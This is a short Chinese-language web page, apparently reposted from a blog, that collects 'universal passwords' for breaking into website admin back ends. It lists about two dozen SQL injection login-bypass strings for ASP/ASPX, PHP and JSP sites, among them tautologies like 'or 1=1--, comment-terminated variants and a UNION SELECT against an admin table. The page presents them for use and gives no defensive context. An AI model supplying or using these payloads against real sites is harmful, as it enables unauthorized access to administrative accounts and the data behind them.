网站万能密码收集

本文转自：http://hi.baidu.com/foraya/item/9cb8272c92b9ef1b73863e29

所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。

自己也有过收集，别人总结的我又添加了几个

asp aspx万能密码

1："or "a"="a

2： ')or('a'='a 

3：or 1=1--

4：'or 1=1--

5：a'or' 1=1--

6："or 1=1--

7：'or'a'='a

8："or"="a'='a

9：'or''='

10：'or'='or'

11: 1 or '1'='1'=1

12: 1 or '1'='1' or 1=1

13: 'OR 1=1%00 

14: "or 1=1%00

15: 'xor 

16: 用户名 ' UNION Select 1,1,1 FROM admin Where ''=' （替换表名admin）

密码 1

17..admin' or 'a'='a 密码随便

PHP万能密码

'or 1=1/*

User: something 

Pass: ' OR '1'='1

jsp 万能密码

1'or'1'='1

admin' OR 1=1/*